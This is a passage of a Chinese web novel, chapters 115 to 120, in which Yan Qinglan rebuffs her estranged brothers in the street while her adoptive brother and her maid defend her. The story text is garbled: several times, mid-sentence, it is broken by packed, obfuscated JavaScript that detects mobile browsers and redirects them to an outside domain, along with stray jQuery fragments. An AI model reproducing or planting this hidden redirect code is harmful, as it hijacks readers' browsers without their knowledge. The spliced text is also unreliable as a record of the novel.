她不敢给晏清澜、夏竹二人脸色看。 毕竟,这两个姑娘生得水灵,尤其是那位小姐,通身的气派,一看就不是寻常人家的。 更何况,这位小姐还客客气气地跟她一个卖糖葫芦的道歉,大娘心里再不痛快,也发作不到她们身上。 两个姑娘家能有什么错? 错的,还不是那个不开眼的家伙! 大娘“腾”地一下火就上来了,手里的糖葫芦捏得紧紧的,恨不得直接甩到晏景文脸上去。她强压着火气,瞪着晏景文: “我说你这年轻人,管的也忒宽了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019316|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “人家主仆情深,小姐心疼丫鬟,买个糖葫芦怎么了?碍着你什么事了?” 大娘的嗓门也大了起来,周围的人都看了过来。 “咱们大玺朝,早就没那么多穷讲究了!你这年轻人,抱着那些老掉牙的规矩不放,也不怕酸掉了牙!” 她说着,还忍不住“呸”了一声,像是要把什么晦气的东西吐出去。 大娘斜睨了晏清澜一眼,见她没什么反应,才稍稍放了心。 要说这规矩,先帝在的时候,确实严苛。 可如今圣上英明,早就把那些劳什子的规矩废了大半。 也就是晏景文这种迂腐的人,还把那些陈芝麻烂谷子的事儿挂在嘴边。 要不是瞧着晏景文穿戴不俗,像个有头有脸的人物,大娘早就破口大骂了。 “你!……” 晏景文被噎得脸色铁青,一口气堵在胸口,差点没背过气去。 他一个读书人,竟然被一个卖糖葫芦的村妇给教训了? 他刚想张嘴反驳,衣袖却被人轻轻拽了拽。 晏雨珩不知何时站到了他身侧,正一脸歉意地看着卖糖葫芦的大娘。 “大娘,实在是对不住,我这大哥平日里读书读迂了,说话有些不中听,您千万别往心里去。” 晏雨珩一边说着,一边从大娘手里接过糖葫芦,又从怀里摸出一块碎银子,塞到大娘手里。 “这两串糖葫芦,我替大哥买了,多的银子,就当是给您赔不是了。” 大娘这才脸色稍霁,掂了掂手里的碎银,也没再说什么。 晏雨珩转过身,把糖葫芦递给夏竹,脸上带着温和的笑意: “你是夏竹吧?我记得你,小时候总跟在阿清身后,像个小尾巴。” 他像是想起了什么有趣的事,嘴角的弧度更大了些。 “一转眼,都长这么大了,也难怪我大哥没认出来。” 夏竹的眉头微微蹙起,她接过糖葫芦,却没说话,只是微微侧过身子,避开了晏雨珩的视线。 毕竟,当年在苏府,这位三公子,对自家姑娘还算不错。 她也不想在这种场合,让晏雨珩太过难堪。 晏清澜只是淡淡地扫了一眼,便收回了目光,她对夏竹说道: “时辰不早了,咱们回去吧。 第一百一十五章 ” 说完,她转身就走,没有丝毫留恋。 晏景文被晾在一旁,气得脸色一阵青一阵白。 他下意识地伸手,想要拉住晏清澜,却被她一个侧身躲开了。 晏清澜停下脚步,转过头,看着晏景文,眼神冰冷: “庄大公子,这是做什么?” 她的声音不大,却带着一股不容置疑的威严。 “光天化日之下,拉拉扯扯,成何体统?” 晏清澜的嘴角勾起一抹嘲讽的弧度,眼底的冷意更甚。 “庄大公子若是不顾自己的名声,还请顾及一下苏府的颜面。” “我与庄大公子非亲非故,还请庄大公子自重。” 晏清澜毫不留情地将晏景文曾经的指责,化作利刃,狠狠地刺了回去。 不同于晏景文的气急败坏,她始终保持着冷静和疏离,语气平淡,却字字诛心。 晏雨珩看着晏清澜,眼神复杂,有痛惜,有无奈,还有一丝难以言说的苦涩。 晏景文则是气得浑身发抖,他指着晏清澜,声音都变了调: “你……你这个不孝女!我是你大哥!” 他万万没想到,晏清澜竟然变得如此伶牙俐齿,简直像变了个人似的。 晏清澜冷笑一声,转身就走,只留给晏景文一个决绝的背影。 “阿清!” 晏雨珩急切地叫住了她,声音里带着一丝恳求。 他快步走到晏清澜面前,拦住了她的去路。 晏雨珩的眼中充满了痛心和自责,他看着晏清澜,声音微微颤抖: “阿清,我知道,你还在为当**情生气,怨恨我们,怨恨爹娘……” 他深吸一口气,像是鼓足了勇气,才继续说道: “当**情,是我们的错,我们不该……不该那样对你。” 晏雨珩的声音越来越低,头也垂了下去,像是一个做错事的孩子。 “阿清,原谅我们,好不好?我们是一家人,不该有隔阂的……” 他的声音里带着一丝哽咽,让人听了忍不住心生怜悯。 晏景文站在一旁,虽然没有说话,但脸色也缓和了许多,看向晏清澜的眼神中,也少了几分怒意,多了几分复杂。 晏雨珩的姿态放得很低,他甚至微微弯下了腰,语气近乎哀求: “阿清,跟三哥回家,好不好?别再跟家里置气了……” 他顿了顿,又补充道:“爹娘这些年……也很想你。” 晏景文听到这话,也忍不住开口道: “清澜,你一个姑娘家,总住在外面算怎么回事?” “还有,出门在外,好歹也戴个面纱,省得……” 他本想说“省得惹人闲话”,但话到嘴边,又觉得不妥,硬生生改了口。 “……省得不安全。” 晏景文的语气依旧带着几分说教的意味,但比起之前,已经缓和了许多。 晏清澜看着眼前这两个男人,一个低声下气,一个强装姿态,心中只觉得可笑。 她冷冷地扫了晏景文一眼,毫不客气地怼了回去: “怎么,裹脚裹得不满意,还想给我裹脑?”晏景文只觉得眼前一黑,脑子里嗡嗡作响,一口气堵在胸口,像是被人狠狠打了一闷棍,差点没直接厥过去。 晏雨珩的目光,阴沉得像是暴风雨来临前的海面,死死盯着晏清澜。 那眼神里,有震惊,有痛惜,更多的,是毫不掩饰的失望,像冬日里结了冰的湖面,冷得瘆人。 他怎么也想不到,自己曾经护在手心里疼了十多年的妹妹,会变成今天这副模样。 晏雨澜从京城寄来的信,他一封不落地都看了。 信里,晏雨澜把晏清澜描述成了一个忘恩负义、尖酸刻薄、水性杨花的恶毒女人。 可他心里,总还存着那么一丝丝的侥幸,不愿相信那是真的。 万一呢? 万一,是晏雨澜嫉妒成性,夸大其词了呢? 万一,这其中有什么不为人知的误会呢? 直到此刻。 亲眼看见晏清澜对兄长冷嘲热讽,言语间没有一丝尊重。 亲耳听见她对家人恶语相向,字字句句都像淬了毒的刀子。 他才不得不承认,他那个温柔善良、乖巧听话的四妹妹,早就已经随着时间,消散在了风里,再也找不回来了。 “阿清,我知道,你心里还怨恨我们当年把你送到临川。” 晏雨珩的声音,微微有些发颤,像是强压着心头的怒火。 他微微垂眸,眼眶泛红,语气里三分愧疚,七分指责,像是严父在训斥做错事的孩子: “可是,你也不能这样对大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏竹的语气突然一转,变得幸灾乐祸起来: “你们把姑娘赶出家门,以为是把姑娘往火坑里推? 第一百一十六章 呸!你们是把姑娘推进了福窝里!” 她得意地扬起下巴,眼神里满是嘲讽: “也不睁大你们的狗眼看看,陆家是什么人家?是你们这种上不得台面的小门小户能比的?” “你们把姑娘当草,陆家可是把姑娘当成宝!” 夏竹朝地上啐了一口,毫不留情地骂道: “就你们这群有眼无珠的蠢货,也配当姑娘的家人?我呸!给陆家提鞋都不配!” 这番话,像一记又一记响亮的耳光,狠狠抽在晏雨珩和晏景文的脸上。 晏雨珩只觉得脸上火辣辣的,一阵青一阵白,羞愧得恨不得找个地缝钻进去,再也不出来见人。 晏景文更是气得浑身发抖,双眼通红,像是要**一样。 他恶狠狠地瞪着夏竹,咬牙切齿地低吼,声音像是从喉咙里挤出来的一样: “你一个卑贱的丫鬟,胆子肥了敢这么跟我讲话!谁给你的胆子?” “你怕是不记得自己几斤几两了?以为躲她后面就安全了,我就治不了你了?信不信我……” “啪!” 晏景文话还没说完,脸上就狠狠挨了一巴掌。 夏竹下手又快又狠,直接把晏景文打懵了。 她甩了甩有些发麻的手,翻了个白眼,一脸的不耐烦: “嘁,真是吵**!跟个苍蝇似的,嗡嗡嗡个没完!” “钱雅芝到底是怎么教孩子的?教出你们这群没教养的东西!” “一个两个,都跟疯狗似的,逮谁咬谁!” 晏清澜简直想把老太太的裹脚布,直接塞进晏景文的嘴里,让他彻底闭嘴! 她上前一步,挡在夏竹面前,眼神冷厉,声音冷得像冰: “庄大公子,我的人,还轮不到你来指手画脚、大呼小叫,更轮不到你来动手!” 晏景文捂着被打的脸,怒火中烧,像是被激怒的野兽。 他猛地扬起手,一个巴掌,就朝着晏清澜的脸上狠狠扇了过去,像是要把所有的怒气都发泄出来。 一旁的晏雨珩,冷眼旁观,甚至还微微侧了侧身,似乎是怕挡住了晏景文的动作,影响他发挥。 晏清澜眼神一凛,寒意瞬间弥漫了整个眼眶,像是结了一层冰霜。 就在这千钧一发之际。 一只骨节分明的大手,突然从旁边伸出来,像是铁钳一样,稳稳地抓住了晏景文的手腕。 “怎么?光天化日,朗朗乾坤,庄家人是想当街行凶?” 宋明澜冷冷开口,声音不大,却带着不容置疑的威严, 他气势逼人,像是一头蓄势待发的猛虎。 他手腕微微用力, 常年习武之人的力道,可想而知,更何况他正值盛怒。 只听“咔嚓”一声轻响,那是骨头错位的声音。 晏景文的脸色瞬间变得惨白如纸,额头上,豆大的汗珠,立刻就渗了出来,像是刚从水里捞出来一样。 “大少爷,您可算来了!” 夏竹“哇”的一声就哭了出来,像是受了天大的委屈, 她一边抹眼泪,一边抽抽搭搭地说,声音断断续续: “您要是再晚来一步,姑娘……姑娘就要被他们给欺负**!” 她伸手指着晏景文和晏雨珩,声音哽咽,带着哭腔: “他们刚才……说、说姑娘的坏话……还、还想动手打姑娘!” “光天化日之下,他们都敢这样……谁知道……姑娘以前在庄家,过的是什么日子!” 她越说越伤心,眼泪再也忍不住,扑簌簌地往下掉,像是断了线的珠子。 宋明澜听了这话,心里的火气“腾”的一下就窜了起来,像是火山爆发一样。 他一把甩开晏景文的手,像是甩开什么脏东西一样,满脸嫌恶。 晏景文一个没站稳,踉跄了几步,狼狈地摔倒在地,像是一滩烂泥。 晏雨珩连忙伸手去扶,想要说些什么。 但一对上宋明澜那冰冷的眼神,所有的话,都哽在了喉咙里,一个字也说不出来。 “晏雨珩,我真是瞎了眼,才会把你当成兄弟!” 他还没来得及开口,一个身影,就如同小牛犊子般冲了过来,挡在晏清澜身前。 晏子晏红着眼睛,咬牙切齿,指着晏雨珩的鼻子破口大骂, “你算个什么东西?也配教训我妹妹?” “你给我听好了,以后离我妹妹远点,否则,见你一次,打你一次!” 他一边骂,一边活动着手腕,一副跃跃欲试的样子。 跟在后面的杨澜,吓得脸都白了,却又不敢上前阻拦。 他只能眼睁睁地看着晏子晏,跟个小炮仗似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有愤怒,有疑惑,还有一丝… 第一百一十七章 …心虚? “子晏,你疯了吗?!” 他声音拔高了几分,带着压抑的怒气。 “你知不知道自己在做什么?你这是在帮着外人,欺负自家人!” 晏雨珩深吸一口气,努力让自己冷静下来。 他目光扫过宋明澜,最后落在一直没说话的晏清澜身上。 晏清澜站在那里,脸上没什么表情。 看到晏子晏动手,她似乎也有些意外,但很快就恢复了平静。 “四妹妹。” 晏雨珩看着她,声音低沉,带着一丝不易察觉的颤抖。 “这就是你想要的结果吗?” “看到我们兄弟阋墙,你是不是很得意?” 晏清澜依旧沉默,连一个眼神都懒得给他。 她只是静静地站着,仿佛周围的一切都与她无关。 这种漠然,比任何言语都更具杀伤力。 晏雨珩只觉得心口一阵闷痛,像是被什么东西狠狠地捶了一下。 他张了张嘴,似乎还想再说些什么,却被晏子晏打断。 “晏雨珩,少在这儿装模作样了。” 晏子晏上前一步,逼近他。 “你心里打的什么算盘,真以为别人都不知道?” 他冷哼一声, “我问你,阿清之前送你的香囊呢?你不是说要一直戴着,片刻不离身吗?” 晏子晏微微侧头,似笑非笑地看着他。 “怎么,现在不戴了?” “该不会是……弄丢了吧?” 晏雨珩脸色一白,眼神闪躲。 他下意识地想去看晏清澜的反应,却又不敢与她对视。 这种心虚的表现,已经说明了一切。 他强自镇定,辩解道: “香囊……我当然收好了。” “四弟,你别听风就是雨,我和阿清之间的事,你少管。” 他的声音干巴巴的,透着一股子虚弱。 连他自己都觉得这借口站不住脚。 可事到如今,他也只能硬着头皮撑下去。 晏子晏看着他这副模样,只觉得可悲又可笑。 “晏雨珩,你到现在还嘴硬。” 他摇了摇头,眼神中尽是失望。 “那个香囊,你真的好好收着吗?” “怕不是早就被你当垃圾一样处理了吧?” 他原本不想把事情做得太绝。 但晏雨珩的所作所为,实在让他忍无可忍。 “晏子晏!你别血口喷人!” 晏景文再也忍不住了,跳出来指着晏子晏的鼻子骂道。 “你这是污蔑!是挑拨离间!” 他又转头看向晏清澜,语气尖酸刻薄。 “还有你,晏清澜!你到底安的什么心?” “我们好歹也是你哥哥,你就这么眼睁睁看着我们被欺负?” “你是不是就盼着我们兄弟反目,家宅不宁?” 晏景文越说越激动,口水都快喷到晏清澜脸上了。 “不就是一个破香囊吗?有什么了不起的!” “就算真扔了,又能怎么样?值得你这么大惊小怪吗?” 晏子晏听了这话,简直要被气笑了。 “破香囊?” 他重复了一遍,语气中带着一丝难以置信。 “晏景文,你可真是会睁眼说瞎话。” “如果被扔掉的是晏玥玥送你的东西,你敢再放这种狠话吗?” 他顿了顿,目光如刀,直直地刺向晏景文。 “恐怕到时候,你就要哭天抢地,恨不得把整个庄家都翻过来找了吧?” 晏景文被他问得一噎,脸色涨得通红。 “你……你胡说!” 他恼羞成怒, “玥玥和她怎么能一样!她们根本没法比!” 宋明澜在一旁听不下去了,捏紧了拳头就要上前。 晏清澜却一把拉住了他。 “大哥,算了。” 她摇了摇头,语气平静。 “没必要跟这种人浪费口舌。” 她看着晏景文,眼神淡漠。 “你说的对,晏玥玥和我是不一样。” “所以,你们的事情,与我无关。” “我也不想再和你们有任何牵扯。” 她这话说得决绝,没有一丝回旋的余地。 晏雨珩听了,心里像是被针扎了一下。 他想开口挽回,却又不知道该说些什么。 “四弟,你别误会……” 他试图解释,声音却低得几乎听不见。 “我真的没有扔掉阿清的香囊,我只是……暂时放在别处了。” “等回府之后,我一定把它找出来给你看。” 他这话,纯粹是死鸭子嘴硬。 香囊早就被他顺手送给了晏玥玥。 他想着,只要晏玥玥还留着,他就能拿回来交差。 至于晏子晏为什么会突然提起香囊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019319|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他根本没心思去深究。 晏雨珩自以为计划周全,却不知道,他这番话,在晏子晏听来,简直漏洞百出。 晏子晏冷笑一声,不再跟他废话。 他伸手入怀,缓缓掏出一样东西。 在晏雨珩惊恐的目光中,那东西逐渐显露出真容。 正是一只绣着金乌图案的香囊! 晏雨珩的脸色瞬间变得煞白。 他死死地盯着那只香囊,大脑一片空白。 他怎么也想不到,香囊竟然会在晏子晏手上! “你……你……” 他颤抖着伸出手,想要把香囊抢回来。 晏子晏却轻巧地避开了。 “怎么,想抢回去毁灭证据?” 他冷冷地看着晏雨珩, “别费劲了。这香囊,可不是我从你那儿偷来的。” “我摊牌了,这香囊,是二婶院子里的一个丫鬟给我的!” “她亲眼看见,这香囊是晏玥玥不要,随手丢掉的!” 晏子晏顿了顿,看着晏雨珩瞬间僵硬的表情,嘴角的笑意更冷。 “那丫鬟还说,晏玥玥当时一脸嫌弃,说这香囊‘土里土气的,配不上她’。”晏雨珩想都没想,张嘴就否认,唾沫星子几乎喷到晏子晏脸上: “你护着晏清澜是你眼瞎!但你少在这儿给我泼玥玥脏水!” 晏子晏翻了个惊天大白眼,眼珠子都快翻到后脑勺去了。 他算是彻底看清了,这人不仅眼睛不好使,脑子也进了水,没救了。 “我是不是泼脏水,你心里跟明镜似的,还用我多说?” 晏子晏懒得再装什么兄友弟恭,直接开怼,火力全开。 他双手环抱在胸前,下巴微微上扬,摆出一副“你能奈我何”的架势: “我也犯不着拿个破香囊就替阿清诉苦。我今儿把话撂这儿,就是让你离阿清远点!别整天装出一副‘我是为你好’的嘴脸,你不嫌恶心,我还嫌膈应呢!” 他特意加重了“为你好”几个字的语气,其中的讽刺意味不言而喻。 说到这儿,晏子晏故意停顿了一下,眼神像小刀子一样刮过晏雨珩的脸,仿佛要把他那层虚伪的面具给刮下来。 晏子晏根本不在乎晏雨珩是什么反应,转头又把炮火对准了晏景文。 他像只被惹**了的小狮子,龇牙咧嘴,气势汹汹: “还有你!少拿你那套‘只许州官放火,不许百姓点灯’的歪理来管教阿清! 第一百一十八章 ” “更别把你那套‘女人就该在家绣花’的酸腐思想往阿清身上套!” 他一边说,一边伸出手指,一下一下地戳着晏景文的胸口,每一下都带着十足的力道,像是要把他的肋骨给戳断。 “不然,见你一面就让你吃苦头,不信你试试!” 晏景文简直要气炸了,他感觉自己的肺都要气炸了。 这还是他那个一直以来都唯唯诺诺、逆来顺受的四弟吗? 反了天了! 他居然敢这么跟自己说话? 为了晏清澜那个死丫头,居然还敢对自己和三弟动手! 怒火像火山爆发一样在晏景文胸腔里翻滚,他的眼睛里布满了血丝,像是要**。 他刚想破口大骂,可一接触到晏清澜那比寒冬腊月的冰碴子还要冷上三分的眼神,所有的话都像被一盆冰水兜头浇灭,只剩下嘶嘶的白气,一个字也蹦不出来。 晏清澜面无表情地看着晏子晏,那眼神,就像在看一个陌生人,没有一丝温度,只是淡淡地说了句“多谢”。 然后,她头也不回地转向宋明澜,这个还想替她撑腰的“哥哥”。 这次,晏清澜脸上终于有了一丝表情,虽然只是一个浅浅的、几乎看不出来的微笑,却像是冰雪消融后露出的第一抹春色: “大哥,我们走。” 宋明澜目光如刀,从晏景文和晏雨珩身上狠狠刮过,像要把他们身上的肉都给剐下来。 他什么也没说,只冷哼一声,那声音里充满了不屑和鄙夷,然后才开口,每个字都像是从牙缝里挤出来的: “阿清是我认下的妹妹,跟你们庄家没半文钱关系!奉劝你们,少说那些让人笑掉大牙的蠢话,也别做那些不切实际的白日梦!” 他停顿了一下,加重了语气,像是在警告,又像是在嘲讽。 就这两个不知天高地厚的蠢货,还想教训阿清? 还说什么“哥哥是为你好”? 放屁! 宋明澜心里暗骂。 简直是清明节上坟——哄鬼呢! +++ 晏清澜和宋明澜前脚刚走,晏景文后脚就指着晏子晏的鼻子开骂,声音尖锐得像被踩了尾巴的猫: “你看看你!看看你干的好事!你费尽心思护着的,就是个养不熟的白眼狼!” 他一边说,一边用力地戳着晏子晏的鼻子,好像要把他的鼻子给戳歪。 “你看看她对宋明澜那副亲热劲儿,再看看她对你,爱答不理!晏子晏,你现在知道自己有多可笑了吧?像个跳梁小丑!” 晏雨珩也跟着帮腔,他脸上挂着一副“恨铁不成钢”的表情,连连摇头,好像对晏子晏失望透顶。 他装模作样地叹了口气,声音里带着几分做作的悲伤和无奈: “她那种人,最懂得见风使舵,怎么可能为了咱们,放弃陆家那棵大树?” 他斜睨了晏子晏一眼,语气里充满了幸灾乐祸: “老四,你这回可是看走了眼,输得彻底!” 这话说的,好像晏子晏跟晏清澜之间有什么深仇大恨似的,非要争个你死我活。 可晏子晏听了,却只是轻描淡写地“哦”了一声,连眉毛都没动一下。 他算是彻底明白了,阿清为什么不想回这个家。 有这样的“家人”,天天变着法儿地往她身上泼脏水,换了谁,谁还愿意回来? 晏子晏眼尾微微上挑,勾出一个嘲讽的弧度,那笑容,像是淬了毒的刀子,闪着寒光: “你们少把自己跟宋明澜比,更别拿宋明澜来恶心我。” 晏子晏一字一顿地说着,语气平静得像是在陈述一个事实。 “我不配跟他比,你们更不配。” 宋明澜当哥哥,那是真心实意地对妹妹好。 可他们呢? 算什么东西? 哪来的脸跟宋明澜比? +++ 晏子晏说完,也不管那两人是什么反应,直接扭头对旁边一直看热闹的杨澜说: “走,懒得跟他们多哔哔。” 杨澜跟庄家这几个兄弟,从来就不是一路人。 庄家四个儿子,他只跟晏子晏臭味相投。 他收起折扇,好笑地瞥了晏景文和晏雨珩一眼,没说什么,只是摇了摇扇子,跟上了晏子晏的脚步。 +++ 两人并肩走在护城河边。 晏子晏望着河边堆积的沙砾,深深地叹了口气,那声音里,充满了说不出的落寞和惆怅。 杨澜见了,用胳膊肘轻轻撞了他一下,笑嘻嘻地说: “哎,我说,你别跟个怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019320|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇似的,有啥事儿就说出来,憋在心里多难受啊。” “本少爷今天心情好,勉强当一回你的知心哥哥,开导开导你。”他眨了眨眼,一副“我很靠谱”的样子。 “放心,我这人嘴巴最严了,绝对不会说出去!” 晏子晏嫌弃地拍开他的手,往旁边挪了一步,离他远远的: “滚一边去!少恶心我!就你还知心哥哥?我呸!” 被杨澜这么一闹,他原本郁闷的心情倒是消散了不少,但有些话,还是像鱼刺一样卡在喉咙里,不吐不快。 晏子晏找了棵树,懒洋洋地靠在树干上,从地上捡了片树叶叼在嘴里,看似一副吊儿郎当的样子,可紧锁的眉头却暴露了他内心的真实情绪: “你说,我是不是……太晚才明白过来了?”他声音很低,像是自言自语,又像是在问杨澜。 要是早点明白,庄家和阿清之间,是不是就不会变成现在这样? 他家那个小妹…… 回不去了。 晏子晏心里比谁都清楚,一切都无法挽回了。 如果时间能倒流,他一定做个好哥哥,把所有的疼爱都给她。 而不是等到她身边已经有了可以依靠的人,才后知后觉地想起,她也曾经渴望过哥哥的关怀。 +++ 晏子晏钻了牛角尖,一时半会儿想不通,杨澜这个旁观者,倒是把一切都看得清清楚楚。 他“啪”的一声合上扇子,在手心里敲了敲,发出清脆的响声: “我说你,就是瞎操心!你一个人明白有什么用?能改变什么?” “庄家又不是只有你一个儿子,可结果呢?”杨澜反问道,语气中带着一丝无奈。 “你爹娘那教育方式,迟早得出问题!你妹妹跟你们闹掰,那是早晚的事!” 有些话,杨澜本来不想说得太直白,怕伤了晏子晏的心。 可事到如今,为了让这个死脑筋的朋友清醒一点,他也顾不了那么多了: “你们现在这样,已经是最好的结果了,你还不知足?”他叹了口气,语气缓和了一些。 “晏清澜现在是想开了,不跟你们计较。就怕她想不通寻死觅活,还傻乎乎地等着你们疼她、爱她!” 人要是长期得不到自己想要的东西,心态很容易扭曲。 第一百一十九章 要是晏清澜一直渴望家人的关爱,却又一直得不到,时间久了,只怕会因爱生恨,到时候,亲人就变成仇人了。 现在这样,虽然成了陌生人,但总比反目成仇要好得多。 起码,不会闹得你死我活,两败俱伤。 晏子晏把嘴里的树叶吐了出来,神情严肃,少了平日里的玩世不恭,多了几分认真: “但这丫头是我亲妹……我总想着,能弥补一点是一点。” 他在晏景文和晏雨珩面前装得若无其事,好像一点也不在乎晏清澜回不回家。 但实际上,他心里比谁都难受,只是不想表现出来罢了。 “嗨,这有什么大不了的?” 杨澜一脸轻松,不以为然地说着,也靠到树上,把胳膊垫在脑后,找了个舒服的姿势躺下: “你就可劲儿地对她好呗!多简单点事儿!” “她领不领情是她的事,你只管做你认为对的事。”杨澜毫不在意地摆了摆手。 “说到你家小六……”杨澜顿了顿,语气变得有些微妙,“以后少听她瞎咧咧。” “晏玥玥那张嘴,好的不灵坏的灵,死的都能让她说成活的。以后再有什么事,你多个心眼,别傻乎乎地被她当枪使。” “要我说,你那个六妹妹就是个搅屎棍,唯恐天下不乱。偏偏你们还把她当个宝,真是……”杨澜撇了撇嘴,后面的话没说出来,但意思已经很明显了。 “我可不是挑拨离间,这种人我见得多了,心眼比筛子还多。” 他要有这么个妹妹,早八百年离家出走了,眼不见心不烦。 还当好哥哥?做什么春秋大梦呢! 晏子晏这次没有反驳,只是默默地听着,脸上露出若有所思的表情。 要是以前,听到杨澜这么说晏玥玥,他肯定早就跟他急了。 可现在…… 晏子晏苦笑一声,他早就知道,玥玥被家里人宠坏了,只是不愿意承认罢了。 他轻轻叹了口气,像是做了什么决定,语气有些低沉: “我知道了……我会尽力,对阿清好。”“得,这事儿就算翻篇了。” 杨澜大手一挥,示意晏子晏不必再纠结。 晏子晏如释重负,心头的阴霾一扫而空。 毕竟只是一场兄妹间的小口角,在汴京城这潭深水中,连个水花都算不上。 谁家还没点鸡毛蒜皮的破事呢? 马车辘辘,驶离汴京城。 晏清萦纤细的手指轻轻挑开车帘一角,目光落在车窗外,一时间竟有些痴了。 汴京城的花,开得真盛。 像一片绚烂的云霞,灼灼地烧进了她的眼里。 她有多久,没见过这般景象了? 记忆中似乎还是孩童时才能看到的景色,如今再次见到,竟生出几分恍如隔世的错觉。 “回都回来了,你还摆这副可怜样给谁看?” 赵芊芊抱着手臂,斜睨了晏清萦一眼,毫不客气地冷哼, “不知道的,还当我娘如何亏待于你不成。” 她那双溜圆的眼睛,上上下下地将晏清萦从头到脚扫视了一遍。 晏清萦今日穿得格外素净,头上也只簪了一支成色普通的银钗。 赵芊芊眼底的不屑几乎要溢出来。 老实说,自从上了这辆回汴京城的马车,晏清萦的脸色就没好过。 这一路上,赵芊芊把晏清萦那副**爹娘的表情看了千八百遍。 她忍了又忍,终于还是没忍住, “我说你这一路上,这副**亲娘一样的表情,做给谁看?” “表妹……” 晏清萦被她这么一刺,肩膀微微一颤,连忙松开车帘。 车帘落下,遮住了外头绚烂的景色。 她低垂着眉眼,细声细气地解释: “我只是……只是有些担心,突然这么回来,扰了父亲母亲的清净。” 她没敢抬头,她怕从赵芊芊眼中看到毫不掩饰的轻蔑与嘲讽。 赵芊芊轻呵一声,话里满满都是刺: “你想多了,你算哪根葱?她们眼里哪有你这号人?” “就你还担心扰了她们的清净?” “你回不回来,她们根本不在意,少往自己脸上贴金。” 这种话,晏清萦这些年听得多了,耳朵都快起茧子了。 起先,还觉得像针扎一样,扎得她浑身难受,吃不下睡不着。 如今,早习惯了。 赵芊芊就是这性子,嘴巴毒,说话从来不饶人。 但晏清萦也清楚,在赵家,起码不用担心有人暗中使绊子。 比起那些笑里藏刀,**不见血的手段,赵芊芊这点言语上的刻薄,根本算不得什么。 “表妹说得是。”她低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她怎么可能还回庄家呢? 第一百二十章 除非她傻了。” 在庄家,晏清澜受尽冷落和欺凌。 而陆家,却给了她从未有过的温暖和宠爱。 如今的晏清澜,早已不是当初那个在庄家忍气吞声的小可怜了。 晏清萦嘴角泛起一丝苦笑。 宋明澜和陆家两位将军,把晏清澜捧在手心里,谁还能看得上庄家? 晏清澜身后有陆家撑腰,而她身后,空无一人。 她能依靠的,只有自己。 晏清萦垂下眼帘,遮住眼底的落寞。 她也清楚,自己和晏清澜,根本没有可比性。 更不想和晏清澜作对。 可她真的能避开吗? 晏玥玥和钱雅芝,会放过这个利用她的机会吗? 她从上马车开始,心里就隐隐不安。 这不安,在马车驶入汴京城的那一刻,达到了顶峰。 她觉得自己像是一颗棋子,被人摆弄在棋盘上,身不由己。 她不愿被人摆布,但她更怕香消玉殒。 她要活下去。 哪怕这条路再难,她也要走下去。 罗氏与赵芊芊四目相对,彼此心照不宣。 晏清萦的回答,意料之外,情理之中。 晏清澜那样的性子,怎么可能容忍庄家那些人的嘴脸? 回到庄家,简直是自讨苦吃。 马车缓缓停在苏府门前。 晏清萦深吸一口气,努力平复着内心的紧张与不安。 她才刚一下马车,就见钱雅芝身边的周嬷嬷,满脸堆笑地迎了上来。 “哎哟,三姑娘可算是回来了,这一路上,累坏了吧?” 周嬷嬷这话说得亲热,可眼底却闪过一丝精光。 晏清萦连忙低下头,恭恭敬敬地行了一礼: “周嬷嬷安好。几年不见,嬷嬷还是这般硬朗。” 她顿了顿,又怯生生地补充道: “嬷嬷,我这边还有物件要整理,能不能先回房?” 她说着,就要往旁边走,想要绕开周嬷嬷。 